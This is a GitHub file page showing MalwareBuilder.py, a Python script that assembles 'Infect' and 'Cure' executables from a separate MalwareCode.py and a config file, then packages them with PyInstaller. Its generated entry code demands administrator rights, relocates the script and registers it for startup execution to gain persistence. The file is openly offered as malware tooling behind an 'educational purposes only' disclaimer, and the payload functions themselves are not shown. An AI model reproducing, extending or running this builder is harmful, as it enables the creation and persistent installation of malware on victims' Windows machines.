-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMalwareBuilder.py
262 lines (227 loc) · 10.1 KB
/
MalwareBuilder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
import configparser
import importlib.util
import logging
import os
import os.path
import shutil
import subprocess
import sys
import time
import colorlog
# -------------------------- Functions -------------------------- #
def safe_process_run(command: str | list[str], custom_err_message: str = "executing the command",
log_output: bool = True) -> str | None:
try:
result = subprocess.run(command, check=True, capture_output=True, text=True)
if log_output and result.stdout:
log.debug(f"{result.stdout}.")
else:
return result.stdout
except subprocess.CalledProcessError as e:
log.error(f"[x] An error occurred while {custom_err_message}: {e}")
exit(1)
except Exception as e:
log.exception(f"[x] An unexpected error occurred: {e}")
exit(1)
class Construct:
@classmethod
def exe(cls, script_names: list[str], config_path: str = "config.ini"):
config = configparser.ConfigParser()
config.optionxform = str # Preserve original case of keys
config.read(config_path)
# Uninstall pathlib to avoid conflicts with PyInstaller
REINSTALL = False
if importlib.util.find_spec('pathlib') is not None:
log.info(f"[-] Uninstalling pathlib to avoid conflicts with PyInstaller")
safe_process_run(["python.exe", "-m", "pip", "uninstall", "pathlib", "-y"],
custom_err_message="uninstalling pathlib")
log.info(f"[-] 'pathlib' has been uninstalled successfully.")
REINSTALL = True
# Convert the scripts to an executable
for scripts in script_names:
log.info(f"[-] Converting {scripts} to an executable (This may take a few minutes)...")
command = config.get("PyInstaller Settings", "COMMAND").replace("{scripts}", scripts)
safe_process_run(command.split(), custom_err_message=f"converting {scripts} to an executable")
log.info(f"[-] {scripts} has been successfully converted to an executable.")
# Reinstall pathlib if it was uninstalled
if REINSTALL:
log.info(f"[-] Reinstalling pathlib due to previous uninstall")
safe_process_run(["python.exe", "-m", "pip", "install", "pathlib"],
custom_err_message="reinstalling pathlib")
@staticmethod
def functions(config_path: str) -> dict[str, str]:
config = configparser.ConfigParser()
config.optionxform = str # Preserve original case of keys
config.read(config_path)
features = {}
for section in config.sections():
if section == "What to create":
for key, value in config.items(section, raw=True):
try:
callable1, callable2 = value.split(",")
features[key.strip()] = (callable1.strip(), callable2.strip())
except ValueError:
features[key.strip()] = "DISABLED"
return features
@staticmethod
def end_code(variable: str) -> str:
return fr"""
try:
if not is_admin():
log.critical("This script requires administrator privileges.")
exit(1)
if os.path.abspath(__file__) != config.get("Core Settings", "MOVE_TO", fallback="C:\\Users\\Hp"):
Core().move_script() # Move the script
Core().add_to_startup() # Add the script to startup execution
log.info("Script moved to new folder, quitting now, will run on startup.")
exit(0) # Exit the script to allow it to run from the new location after reboot
else:
{variable}
except Exception as error:
log.exception(f"A fatal error occurred: {{error}}")
"""
def safe_deletion(file_path: str):
if os.path.exists(file_path):
if os.path.isdir(file_path):
shutil.rmtree(file_path)
else:
os.remove(file_path)
log.info(f"[-] {file_path} has been deleted successfully.")
else:
log.warning(f"[!] {file_path} does not exist - Ignoring.")
# -------------------------- Setup Code -------------------------- #
# Print the ASCII art
ASCII_ART = r"""
_____ .__
/ \ _____ | |__ _ _______ _______ ____
/ \ / \\__ \ | |\ \/ \/ /\__ \\_ __ \_/ __ \
/ Y \/ __ \| |_\ / / __ \| | \/\ ___/ version: BETA.2-Snapshot
\____|__ (____ /____/\/\_/ (____ /__| \___ > by: Shahm Najeeb (@DefinetlyNotAI)
\/ \/ \/ \/ date: 19/01/2025
________ __
/ _____/ ____ ____ ________________ _/ |_ ___________
/ \ ____/ __ \ / \_/ __ \_ __ \__ \\ __\/ _ \_ __ \
\ \_\ \ ___/| | \ ___/| | \// __ \| | ( <_> ) | \/
\______ /\___ >___| /\___ >__| (____ /__| \____/|__|
\/ \/ \/ \/ \/
"""
print(ASCII_ART)
time.sleep(0.5)
# Setup the logger
logger = colorlog.getLogger()
logger.setLevel(getattr(logging, "INFO", logging.INFO))
# noinspection DuplicatedCode
handler = colorlog.StreamHandler()
log_colors = {
"DEBUG": "cyan",
"INFO": "green",
"WARNING": "yellow",
"ERROR": "red",
"CRITICAL": "red",
}
formatter = colorlog.ColoredFormatter(
"%(log_color)s%(message)s",
log_colors=log_colors,
)
handler.setFormatter(formatter)
logger.addHandler(handler)
log = colorlog.getLogger(__name__)
# Log start messages
log.info("[-] Starting the script")
log.warning("⚠️ USE FOR EDUCATIONAL PURPOSES ONLY ⚠️")
log.warning("⚠️ I AM NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS SCRIPT ⚠️")
time.sleep(0.5)
# Get the location of the config file
if len(sys.argv) > 1:
LOCATION_CONFIG = sys.argv[1]
if not LOCATION_CONFIG.endswith("config.ini") or not os.path.exists(LOCATION_CONFIG):
log.error("[x] Invalid or non-existent config file provided, quitting now.")
exit(1)
else:
LOCATION_CONFIG = input("[i] Location of config.ini (Leave blank to use 'config.ini'): ")
if LOCATION_CONFIG == "":
LOCATION_CONFIG = "config.ini"
if not os.path.exists(LOCATION_CONFIG):
log.error("[x] Config file not found, quitting now.")
exit(1)
# Get the features to use from the config file
FEATURES = Construct.functions(LOCATION_CONFIG)
for feature, status in FEATURES.items():
log.debug(f"[*] {feature} - {status}")
# Initialize the code variables for code
INFECT_CODE = ""
CURE_CODE = ""
# -------------------------- Builder Code -------------------------- #
try:
if shutil.which("pyinstaller") is None:
log.error("[x] PyInstaller is not installed or not found in PATH.")
install = input("[i] Do you want to install PyInstaller? (y/n)...")
if install.lower() == "y":
log.info("[-] Installing PyInstaller now...")
safe_process_run(["python.exe", "-m", "pip", "install", "pyinstaller"],
custom_err_message="installing PyInstaller")
else:
log.error("[x] PyInstaller is required for this script to work, quitting now.")
exit(1)
# Check if the MalwareCode.py file exists
if not os.path.exists("MalwareCode.py"):
log.error("[x] MalwareCode.py file not found - Reinstall the builder!, quitting now.")
exit(1)
# Create the Infect.py and Cure.py files
try:
log.info("[-] Building the Infect.py and Cure.py files")
# Get functions to use from config.ini
# Infect functions
for feature, status in FEATURES.items():
INFECT_CODE += f" {feature}.{status[1]}\n"
# Cure functions
for feature, status in FEATURES.items():
if status[0] != "None":
CURE_CODE += f" {feature}.{status[0]}\n"
# Get the whole code database
log.debug("[*] Reading the MalwareCode.py file")
with open("MalwareCode.py", "r") as f:
DB_CODE = f.read()
# Create the Infect.py and Cure.py files and write the code
# Function calls to add to the Infect.py
with open("Infect.py", "w") as f:
f.write(DB_CODE)
f.write(Construct.end_code(INFECT_CODE))
# Function calls to add to the Cure.py
with open("Cure.py", "w") as f:
f.write(DB_CODE)
f.write(Construct.end_code(CURE_CODE))
log.info("[-] Infect.py and Cure.py files built successfully")
except Exception as error:
log.exception(f"[x] A fatal error occurred: {error}")
exit(1)
# Convert the Infect.py and Cure.py to executables, then delete the original files
try:
log.info("[-] Converting Infect.py and Cure.py to executables")
Construct.exe(['Infect.py', 'Cure.py'], LOCATION_CONFIG)
log.info("[-] Infect.py and Cure.py converted to executables successfully")
except Exception as error:
log.exception(f"[x] A fatal error occurred: {error}")
exit(1)
finally:
safe_deletion("Infect.py")
safe_deletion("Cure.py")
safe_deletion("build")
safe_deletion("Cure.spec")
safe_deletion("Infect.spec")
try:
shutil.move("dist/Infect.exe", "Infect.exe")
shutil.move("dist/Cure.exe", "Cure.exe")
except Exception as error:
log.error(f"[x] An error occurred while moving the executables: {error}")
safe_deletion("dist")
# Final messages
if LOCATION_CONFIG == "config.ini" and os.path.exists("config.ini"):
log.info("[-] 'config.ini' file exists in the current directory, Please keep it in the same location as the executables.")
else:
log.warning("[!] It has been detected a config.ini file is not in the current directory, or the passed config.ini file is not in the current directory.")
log.warning("[!] Please ensure the config.ini file is in the same directory as the executables, as they require the config.ini file to operate.")
log.info("[-] Script execution completed successfully")
except KeyboardInterrupt:
log.warning("[!] Keyboard Interrupt detected, quitting now.")
exit(1)